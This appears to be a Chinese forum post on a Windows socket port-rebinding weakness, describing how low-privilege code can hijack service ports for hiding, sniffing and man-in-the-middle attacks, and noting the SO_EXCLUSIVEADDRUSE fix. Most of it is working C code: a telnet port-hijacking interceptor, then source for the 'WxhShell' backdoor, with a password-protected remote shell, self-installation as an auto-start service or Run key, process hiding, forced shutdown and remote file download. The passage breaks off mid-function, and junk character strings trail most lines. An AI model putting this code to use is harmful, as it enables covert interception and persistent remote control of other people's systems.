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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3 R5%N ~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5h|'DO x|o  
,3VG.u;U   
  saddr.sin_family = AF_INET; (y=dR1p  
ltNuLZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 51&|t#8h  
I`/]@BdgY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dzgs%qtK  
 4]"a;(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4|zd84g  
H,(F1+~d  
  这意味着什么?意味着可以进行如下的攻击: - ,R0IGS  
nHI(V-E2:H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `[X6#` <  
536^PcJlN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S8*^ss>?^R  
5+y@ ]5&g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *w=z~Jq^R"  
/t$rX3A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  utq.r_  
qzz[y#q(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #t=[w  
I") H~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zTkFX67)  
3sS=?q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NV&;e[z  
U^B"|lc:[  
  #include K{|w 43>D  
  #include $TR=3[j  
  #include :L]-'\y  
  #include    NU|qX {-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _mw13jcN]  
  int main() 53bM+  
  { CI IY|DI`l  
  WORD wVersionRequested; Lqg] Fd  
  DWORD ret; kVWGDI$~  
  WSADATA wsaData; $=\d1%_R|  
  BOOL val; grGhN q  
  SOCKADDR_IN saddr; `f%&<,i  
  SOCKADDR_IN scaddr; A)OdQFet(  
  int err; fG<Dhz@  
  SOCKET s; 9Kc0&?q@D  
  SOCKET sc; 1W*V2`0>  
  int caddsize; SxMxe,.|  
  HANDLE mt; DD2adu^  
  DWORD tid;   )i&%cyZw  
  wVersionRequested = MAKEWORD( 2, 2 ); \'[3^/('  
  err = WSAStartup( wVersionRequested, &wsaData ); s;s0}Td_1  
  if ( err != 0 ) { )r=9]0=  
  printf("error!WSAStartup failed!\n"); @o`sf-8x  
  return -1; S<V-ZV&_:U  
  } n.@#rBKZ  
  saddr.sin_family = AF_INET; K-Re"zsz  
   3 *G5F}7%=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N"S3N)wgd  
2>g^4(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TS1pR"6l  
  saddr.sin_port = htons(23); B i'd5B5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |4=ihB9+  
  {  "";=DH  
  printf("error!socket failed!\n"); ^Fn%K].X  
  return -1; PVhik@Yoh  
  } >xZ5 ac I  
  val = TRUE; </,.K`''W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^,Lt Ewd~Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l@xWQj9  
  { L,#^&9bHa#  
  printf("error!setsockopt failed!\n"); ;;M"hI3@  
  return -1; 5~QhX22  
  } nkTYWw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^ s=*J=k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lHcA j{6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <&`:&7  
WX LK89ev\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E!uJ6\  
  { [8.-(-/;  
  ret=GetLastError(); I4ebkPgf  
  printf("error!bind failed!\n"); 36nyu_h:R  
  return -1; ,'=hjIel  
  } 7q!?1 -?8R  
  listen(s,2); I,]J=xi  
  while(1) B& "RS  
  { 04~}IbeJ  
  caddsize = sizeof(scaddr); u >4ArtF  
  //接受连接请求 #vtN+E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w#sq'vo4%  
  if(sc!=INVALID_SOCKET) V n^)  
  { QPX`l0V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z4#v~!  
  if(mt==NULL) oooS s&t  
  { },&h[\N{6  
  printf("Thread Creat Failed!\n"); 9976H\{  
  break; .8K6C]gw  
  } =x1Wii$`  
  } #,TELzUVE  
  CloseHandle(mt); -;vT<G3  
  } N\'TR6_,b  
  closesocket(s); Yc|uD-y  
  WSACleanup(); 7_KXD#  
  return 0; *U_S1>0n  
  }   =PZWS& (L  
  DWORD WINAPI ClientThread(LPVOID lpParam) pcnl0o~  
  { {tc57jsr  
  SOCKET ss = (SOCKET)lpParam; 0Q`&inwh  
  SOCKET sc; PYu$1o9+N  
  unsigned char buf[4096]; Z&-tMai;  
  SOCKADDR_IN saddr; 1\y@E  
  long num; w763 zi{  
  DWORD val; !j0_ cA  
  DWORD ret; [3kl^TE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fgmSgG"b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Dm^l?Z  
  saddr.sin_family = AF_INET; #~S>K3(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Kp}_^|z  
  saddr.sin_port = htons(23); @`S.@^%7fO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w:Ra7ExP  
  { iy}xICt  
  printf("error!socket failed!\n"); Q(e{~ ]*  
  return -1; O5M2`6|As  
  } D#ZPq,f  
  val = 100; J+|/-{g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -x{&an=  
  { 6A?8tm/0  
  ret = GetLastError(); F\-Si!~oOz  
  return -1; lov%V*tL  
  } x9&p!&*&IT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >azEed<B  
  { 6} #"qqnx  
  ret = GetLastError(); 8ljuc5,J  
  return -1; uFo/s&6K  
  } jM@?<1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0<Q*7aY  
  { z&F5mp@  
  printf("error!socket connect failed!\n"); +?Ez} BP  
  closesocket(sc); m8+:=0|$  
  closesocket(ss); 8SZK:VE@  
  return -1; [S0mY["  
  } :3O5ET'1  
  while(1) KUFz:&wK  
  { G|*G9nQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7&foEJ3q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xNIGO/uI~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #A )Ab%r8"  
  num = recv(ss,buf,4096,0); 7]Rk+q2:  
  if(num>0) |z*>ixK  
  send(sc,buf,num,0); #x)8f3I  
  else if(num==0) (hN?:q?'  
  break; #kci=2q_  
  num = recv(sc,buf,4096,0); Ha218Hy0W  
  if(num>0) MMd.0JuaO  
  send(ss,buf,num,0); `XgFga)  
  else if(num==0) B`1kGEx .  
  break; ?-,6<K1  
  } 8k H<$9  
  closesocket(ss); 3+V#[JBJv  
  closesocket(sc); `[Sl1saZ$S  
  return 0 ; $@.jZ_G  
  } i ?-Y  
=?/&u<  
ISBF\ wQY  
========================================================== (:7a&2/M  
]]PE#DDg  
下边附上一个代码,,WXhSHELL \z:<DsQ&  
CN\=9Rvs  
========================================================== yb?|Eww_o  
l'uOORI  
#include "stdafx.h" $8g42LR'  
p9iu:MucD<  
#include <stdio.h> V;;#/$oU:4  
#include <string.h> U=QA  e  
#include <windows.h> w & P&7  
#include <winsock2.h> ]\dHU.i  
#include <winsvc.h> t^U^Tr  
#include <urlmon.h> AY88h$a  
R6P\T\~E  
#pragma comment (lib, "Ws2_32.lib") QC7k~I8  
#pragma comment (lib, "urlmon.lib") CA*~2|  
#xp(B5  
#define MAX_USER   100 // 最大客户端连接数 m9t$h  
#define BUF_SOCK   200 // sock buffer U&W"Ea=R/  
#define KEY_BUFF   255 // 输入 buffer `0@z"D5c  
YPEnNt+  
#define REBOOT     0   // 重启 mNDuwDd$S  
#define SHUTDOWN   1   // 关机 hB>^'6h+  
W;TJenv  
#define DEF_PORT   5000 // 监听端口 H1&RI4XC  
[.-a$J[4+F  
#define REG_LEN     16   // 注册表键长度 X=,6d9,  
#define SVC_LEN     80   // NT服务名长度 .iT4-  
&S-er{]]  
// 从dll定义API ;4kT?3$l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g~)3WfC$[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &*gbK6JB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QBihpA 1;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^l(^z fsZ  
^P$7A]!  
// wxhshell配置信息 HeozJ^u\?  
struct WSCFG { r?3Aqi"  
  int ws_port;         // 监听端口 Yqj+hC6>,  
  char ws_passstr[REG_LEN]; // 口令 B9#;-QO  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~kb{K;  
  char ws_regname[REG_LEN]; // 注册表键名 PeNF+5s/K  
  char ws_svcname[REG_LEN]; // 服务名 >];"N{ A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S>t>6&A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OZOb1D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [r9d<Zi}{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nzuF]vo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xS+rHC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~Z/7pP+  
"% Y u wMY  
}; >| m.?{^  
x~+-VF3/  
// default Wxhshell configuration mi^hvks<  
struct WSCFG wscfg={DEF_PORT, ]sL45k2W  
    "xuhuanlingzhe", rQj~[Y.c  
    1, 1exfCm  
    "Wxhshell", 0>@[o8  
    "Wxhshell", $ $4W}Ug3U  
            "WxhShell Service", fM ^<+o@  
    "Wrsky Windows CmdShell Service", ,8##OB(  
    "Please Input Your Password: ", sfI N)jh  
  1, . \F7tc8?  
  "http://www.wrsky.com/wxhshell.exe", i0ybJOa4  
  "Wxhshell.exe" LNiS`o\  
    }; a.,_4;'UE1  
+)gB9DoK  
// 消息定义模块 [{cC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HJ@5B"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m =k%,J_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F1c&0*_A  
char *msg_ws_ext="\n\rExit."; =x H~ww (D  
char *msg_ws_end="\n\rQuit."; 2C1+_IL   
char *msg_ws_boot="\n\rReboot..."; %),!2_ x~  
char *msg_ws_poff="\n\rShutdown..."; uvv.WbZ  
char *msg_ws_down="\n\rSave to "; ,Rz }=j  
o;QZe&  
char *msg_ws_err="\n\rErr!"; SdI1}&  
char *msg_ws_ok="\n\rOK!"; P4 6,o  
~ 5"J(  
char ExeFile[MAX_PATH]; [h HG .  
int nUser = 0; jVYH;B%%z  
HANDLE handles[MAX_USER]; w+_Wc~f  
int OsIsNt; 7#pZa.B)k  
}4h0bI  
SERVICE_STATUS       serviceStatus; ym%o}( v-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d~`-AC+  
W4vBf^eC  
// 函数声明 ' ^a!`"Bc  
int Install(void); ;rHz;]si  
int Uninstall(void); /b{HG7i\  
int DownloadFile(char *sURL, SOCKET wsh); [`nY2[A$  
int Boot(int flag); 9L"?wv  
void HideProc(void); ;BVDt  
int GetOsVer(void); } yq  
int Wxhshell(SOCKET wsl); euZ I`*0  
void TalkWithClient(void *cs); -3vh!JMN  
int CmdShell(SOCKET sock); x+^Vg3 q  
int StartFromService(void); ,sI35I J  
int StartWxhshell(LPSTR lpCmdLine); $?f]ZyZr.  
=P]GPEz_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !nzGH*td  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K7RKF$Z\  
oAz<G  
// 数据结构和表定义 x'i0KF   
SERVICE_TABLE_ENTRY DispatchTable[] = }n[Bq#  
{ , ` o+ ?  
{wscfg.ws_svcname, NTServiceMain}, U~/ID  
{NULL, NULL} VDiOO  
}; DL4iXULNY  
?Aw3lH#:  
// 自我安装 Qlh?iA  
int Install(void) $G3@< BIN  
{ f3n~{a,[  
  char svExeFile[MAX_PATH]; u[EK#%  
  HKEY key; _FsB6 G]mc  
  strcpy(svExeFile,ExeFile); EfKntrom[  
-tyaE  
// 如果是win9x系统,修改注册表设为自启动 } 07r  
if(!OsIsNt) { xwOE+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0b++ 17aV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5hz_P+Q  
  RegCloseKey(key); P` ]ps?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Tkp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PbEQkjE  
  RegCloseKey(key); bA *"ei+!  
  return 0; S:GTc QU  
    } :8]6#c6`74  
  } e=J*Esc@k  
} sam[s4@eQ  
else { F*\4l;NJ  
[*HiI=  
// 如果是NT以上系统,安装为系统服务 j@t{@Ke  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |j# ^@R  
if (schSCManager!=0) ccMd/  
{ :rmauKR  
  SC_HANDLE schService = CreateService AT ymKJ  
  ( iNLDl~uU  
  schSCManager, pVz*ZQ[]  
  wscfg.ws_svcname, PWG;&ma  
  wscfg.ws_svcdisp, 7LdzZS0OM  
  SERVICE_ALL_ACCESS, H:MUNc8i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yHOqzq56  
  SERVICE_AUTO_START, !Bj^i cR  
  SERVICE_ERROR_NORMAL, I>hmbBlDv  
  svExeFile, 3?^NN|xg  
  NULL, ?Cc :)  
  NULL, +7Rt{C,  
  NULL, W5X7FEW  
  NULL, ay-9c2E  
  NULL >~wu3q  
  ); -( Kh.h  
  if (schService!=0) KBj@V6Q  
  { y#e ?iE@  
  CloseServiceHandle(schService); !ew6 n I  
  CloseServiceHandle(schSCManager); 2Pz5f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D6:DrA:  
  strcat(svExeFile,wscfg.ws_svcname); kQ[Jo%YT?E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2-7Z(7G{ F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &Ea"hd  
  RegCloseKey(key); Gw`/.0  
  return 0; c_DaNEfaY  
    } i'iO H|s  
  } g-|Kyhr?=  
  CloseServiceHandle(schSCManager); Z9f/-|r5  
} <M305BH  
} B G5X_s0/  
/+29.1#|  
return 1;  ]CIe~q  
} E4Zxv*  
?sE@]]z  
// 自我卸载 {83C,C-  
int Uninstall(void) O!,Ca1N  
{ l.uN$B  
  HKEY key; PY\W  
+K&?)?/=  
if(!OsIsNt) { yZ|+VXO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /} a_8iM\  
  RegDeleteValue(key,wscfg.ws_regname); OQ,}/  
  RegCloseKey(key); W[fT R?n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?61L|vr  
  RegDeleteValue(key,wscfg.ws_regname); ka8$dfC  
  RegCloseKey(key); ajGcKyj8i  
  return 0; FvAbh]/4  
  } W7$s5G,  
} "R8.P/ 3  
} y]7%$* <  
else { "&Gw1.p  
`ReGnT[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3jXR"@Z-  
if (schSCManager!=0) G"{4'LlA  
{ m|lM.]2_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [0wP\{%  
  if (schService!=0) drbe#FObX  
  { 7MoR9,(  
  if(DeleteService(schService)!=0) { CuIqh BW!  
  CloseServiceHandle(schService); f&f`J/(  
  CloseServiceHandle(schSCManager); 9QC< E|  
  return 0; D(!;V KH  
  } O%52V|m}{  
  CloseServiceHandle(schService); 27Cz1[oX  
  } D$QGLI9(  
  CloseServiceHandle(schSCManager); 3Fgz)*Gu]  
} '!AT  
} Etw~*  
5`{=`  
return 1; r1+c/;TpZ  
} 9uKOR7.zbo  
D/e&7^iK  
// 从指定url下载文件 iQu^|,tHEM  
int DownloadFile(char *sURL, SOCKET wsh) |^ ?`Q.|c$  
{ <>VID E  
  HRESULT hr; Qg[heND  
char seps[]= "/"; ?vMK'"  
char *token; p?}f|mQS)  
char *file; z1kBNOr  
char myURL[MAX_PATH]; g ,`F<CF9  
char myFILE[MAX_PATH]; QjI#Cs}w  
b/z'`?[  
strcpy(myURL,sURL); bB y'v/  
  token=strtok(myURL,seps); Ywmyr[Uh'  
  while(token!=NULL) JaA&eT|  
  { `(P "u  
    file=token; W8< @sq~I  
  token=strtok(NULL,seps); .#"1bRWpZ  
  } w<Zdq}{jO  
!X%S)VSMU  
GetCurrentDirectory(MAX_PATH,myFILE); ZTr:xX{R6  
strcat(myFILE, "\\"); Wa(W&]  
strcat(myFILE, file); 9z+vFk`  
  send(wsh,myFILE,strlen(myFILE),0); y2U/$%B)G  
send(wsh,"...",3,0); Fs?( UM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nT_*EC<.  
  if(hr==S_OK) L^6"' #  
return 0; "pOqd8>]  
else 6BUBk>A`  
return 1; zMbfV%b  
UP}feN  
} 3(MoXA*  
2XzF k_6H  
// 系统电源模块 BHEs+ e0  
int Boot(int flag) xT:qe  
{ ;& RUE  
  HANDLE hToken; pi|\0lH6W  
  TOKEN_PRIVILEGES tkp; t#a.}Jl  
cZ6?P`X  
  if(OsIsNt) { NAJ '><2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f+{c1fb>s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1aBD^^Y  
    tkp.PrivilegeCount = 1; GVeL~Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4s[`yV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \)FeuLGL9  
if(flag==REBOOT) { 7F,07\c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7We?P,A\;  
  return 0; f$Gr`d  
} yZ?xt'tn  
else { JtSuD>H`"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r;c' NqP  
  return 0; ~ &t!$  
} {k kAqJ  
  } lt }r}HM+  
  else { ;+TMx(  
if(flag==REBOOT) { 7ESN!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MomLda V9Q  
  return 0; _TtX`b_Z  
} -b].SG5S  
else { 1R5Yn(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s.|!Ti!]  
  return 0; >_rzT9gX&  
} ` 52% XI  
} =9kj? u~  
]\[m=0K  
return 1; jn.R.}TT  
} @<hF.4,]  
;gZwQ6)i  
// win9x进程隐藏模块 2b; rr  
void HideProc(void) CW.&Y?>Tv  
{ ,Y`'myL8W  
eKL]E!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H|grbTv,  
  if ( hKernel != NULL ) &mX5&e  
  { Is4%}J!8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GwTT+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^`l"'6  
    FreeLibrary(hKernel); { z-5GH|  
  } Hlz'a1\:O]  
pw0Px  
return; |Dl*w/n  
} }@3Ud ' Y  
w%>aR_G  
// 获取操作系统版本 5x:Ift *  
int GetOsVer(void) p>2||  
{ j)g_*\tQ  
  OSVERSIONINFO winfo; i58ZV`Rk`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bRx2 c  
  GetVersionEx(&winfo); ?|D$#{^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \pjRv  
  return 1; Fg_?!zR>6  
  else K<$wz/\  
  return 0; It#hp,@e  
} !F=|*j  
8 m%>:}o  
// 客户端句柄模块 yd7lcb [  
int Wxhshell(SOCKET wsl) p:DL:^zx  
{ Y}AmX  
  SOCKET wsh; ap Fs UsE  
  struct sockaddr_in client; *ge].E  
  DWORD myID; ^+(A&PyP?  
*>H M$.?Q  
  while(nUser<MAX_USER) r]8wOu-'  
{ Q%M'[L?[  
  int nSize=sizeof(client); +")qi =  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {DKXn`V  
  if(wsh==INVALID_SOCKET) return 1; <C7M";54-  
FY 1},sq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  ioE66-n  
if(handles[nUser]==0) +)/Rql(lY  
  closesocket(wsh); 08TaFzP81  
else A[sM{i~Z  
  nUser++; Wl^prs7}c  
  } u=p ;A1oy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >i^y;5  
.V5q$5j  
  return 0; b*I&k":  
} ga4/,   
F/Rng'l  
// 关闭 socket _n-VgPRn  
void CloseIt(SOCKET wsh) ?aK'OIo  
{ 37j\D1Y  
closesocket(wsh); Cm,*bgX  
nUser--; 6%\7.h  
ExitThread(0); ua]\xBWx  
} `jD8(}_  
bE7(L $UF  
// 客户端请求句柄 t,--V|7-  
void TalkWithClient(void *cs) N0y;PVAGu  
{ A }>|tm7|  
R-r+=x&  
  SOCKET wsh=(SOCKET)cs; 4*p_s8> >  
  char pwd[SVC_LEN]; .4S^nP  
  char cmd[KEY_BUFF]; _aXP ;kFMi  
char chr[1]; ?D*Hl+iu  
int i,j; ?$"x^=te7  
T..N*6<X  
  while (nUser < MAX_USER) { y1,?ZWTayr  
fP^W"y  
if(wscfg.ws_passstr) { ,wwU` U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f7EIDFX>pt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &^CL] &/  
  //ZeroMemory(pwd,KEY_BUFF); +z]:CF  
      i=0; aJuj7y-  
  while(i<SVC_LEN) { <3SFP3^:  
2 pM  
  // 设置超时 U~u6}s]:  
  fd_set FdRead; dCf'\ @<<  
  struct timeval TimeOut; Bo](n*i  
  FD_ZERO(&FdRead); p`E|SNt/W  
  FD_SET(wsh,&FdRead); f"5lOzj`C  
  TimeOut.tv_sec=8; &y#\1K  
  TimeOut.tv_usec=0; WL IDw@fv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bm|Jb"T0b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nt`F0 9S  
Z/V`Z* fy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UA69_E{JCH  
  pwd=chr[0]; )#b}qc#`  
  if(chr[0]==0xd || chr[0]==0xa) { mJ6t.%'d  
  pwd=0; (c|$+B^*  
  break; Jf %!I  
  } ,mO(!D  
  i++; L337/8fh  
    } 7 SjF9x  
~.PPf/ Z8]  
  // 如果是非法用户,关闭 socket !L0E03')k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ( )JYN5  
} !^Z[z[  
3X-{2R/ 3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %KabyvOl)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g[=\KrTSg  
.-C+0L1j  
while(1) { E>l#0Zw  
2R_opbw  
  ZeroMemory(cmd,KEY_BUFF); C,OB3y  
G<">/_jn  
      // 自动支持客户端 telnet标准   C;58z 5*,  
  j=0; <eud#v  
  while(j<KEY_BUFF) { Y5h)l<P>B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1}n)J6m  
  cmd[j]=chr[0]; %T&&x2p^=?  
  if(chr[0]==0xa || chr[0]==0xd) { uJ|5 Ve  
  cmd[j]=0; IEIxjek  
  break; a>)_ `m  
  } N8DiEB3~  
  j++; YobC'c\~9  
    } M/8#&RycQ  
,%)WT>  
  // 下载文件 &;NNU T>Q  
  if(strstr(cmd,"http://")) { d!}jdt5%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #whO2Mv  
  if(DownloadFile(cmd,wsh)) V\k5h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7)8rc(58  
  else !~|"LA!jn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9AVK_   
  } $.r}g\43P  
  else { X_0{*!v8  
oSu|Yn  
    switch(cmd[0]) { y7;XOPm  
  AXNszS%4  
  // 帮助 +e\:C~2f28  
  case '?': { Q?Bj q>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Ssv:x c,  
    break; %b-;Rn  
  } U'sVs2sk6  
  // 安装 nL7S3  
  case 'i': { NSiYUAu g  
    if(Install()) 4Rrw8Bw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =CG!"&T  
    else \K_!d]I {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T,xVQ4J?  
    break; fr,CH{Uq  
    } 6gg#Z  
  // 卸载 <750-d!  
  case 'r': { ys.!S.k+  
    if(Uninstall()) :nbW.B3GV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $E4O^0%/p  
    else X('Q;^`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `3>)BV<P  
    break; L!+[]tB  
    } )K\k6HC.  
  // 显示 wxhshell 所在路径 6&OonYsP  
  case 'p': { uc"[qT(X  
    char svExeFile[MAX_PATH]; H z < M  
    strcpy(svExeFile,"\n\r"); Ro3I/NI>  
      strcat(svExeFile,ExeFile); HhQPgjZ/  
        send(wsh,svExeFile,strlen(svExeFile),0); x w?9W4<  
    break; Op$J"R  
    } V"2AN3~&  
  // 重启 H,4,~lv|  
  case 'b': { g*w-"%"O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -%/,j)VKD  
    if(Boot(REBOOT)) <-oRhi4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (W}i287  
    else { !g8.8(/t)  
    closesocket(wsh); d'g{K]=tF  
    ExitThread(0); 0|DG\&?  
    } D)/XP  
    break; !3X%5=#L4  
    } k+m_L{#m5  
  // 关机 *>&N t  
  case 'd': { /bNVgK`L5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L/ICFa.G  
